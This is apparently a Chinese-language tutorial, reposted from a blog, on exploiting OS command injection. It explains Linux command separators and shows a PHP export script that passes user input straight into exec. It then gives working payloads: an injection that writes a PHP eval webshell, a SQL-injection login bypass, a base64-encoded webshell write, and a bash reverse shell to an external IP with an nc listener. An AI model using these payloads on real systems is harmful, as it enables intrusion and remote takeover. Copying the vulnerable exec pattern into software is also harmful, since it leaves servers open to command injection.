仅代码层面来说,任意命令执行漏洞的利用条件:
1.代码中存在调用系统命令的函数
2.函数中存在我们可控的点
3.可控点没有过滤,或过滤不严格。
Linux命令连接符
;
分号
各个命令依次执行,输出结果,互不影响。
|
管道符
前一个命令的输出(左边),作为后一个命令的输入(右边),可以连续使用。
&
后台运行符
将此命令后台运行,shell可立即执行其他命令。
&&
逻辑与
只有前一个命令执行成功,才会执行后面的命令。
||
逻辑或
前面的命令执行失败才会去执行后面的命令,直到执行成功。
其中export.php源码如下:
<?php
if (isset($_POST[‘name‘])){
$name = $_POST[‘name‘];
exec("tar -zcvf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">
导出成功,<a href=‘backup/$name‘>点击下载</a></div>";
}
?>
执行命令:
tar -zcvf backup/$name images/*.jpg
其中 $name
可控
构造Payload,在网站目录写一句话木马。:
backup.tar.gz;echo ‘<?php @eval($_POST["x"]); ?>‘ >shell.php
登录界面存在万能密码
账户:1‘ or 1#
密码随意
老方法写一句话webshell:
127.0.0.1|echo PD9waHAgQGV2YWwoJF9QT1NUW29rXSk7Pz4= |base64 -d > shell.php
却发现写入失败,可能是没权限,那我们直接反弹shell
在自己的外网机器上监听: nc -lvp 7777
ip:127.0.0.1&bash -i >& /dev/tcp/167.160.xxx.217/9999 0>&1
点击检测网络情况
就会执行反弹命令
原文:https://www.cnblogs.com/jzking121/p/15139454.html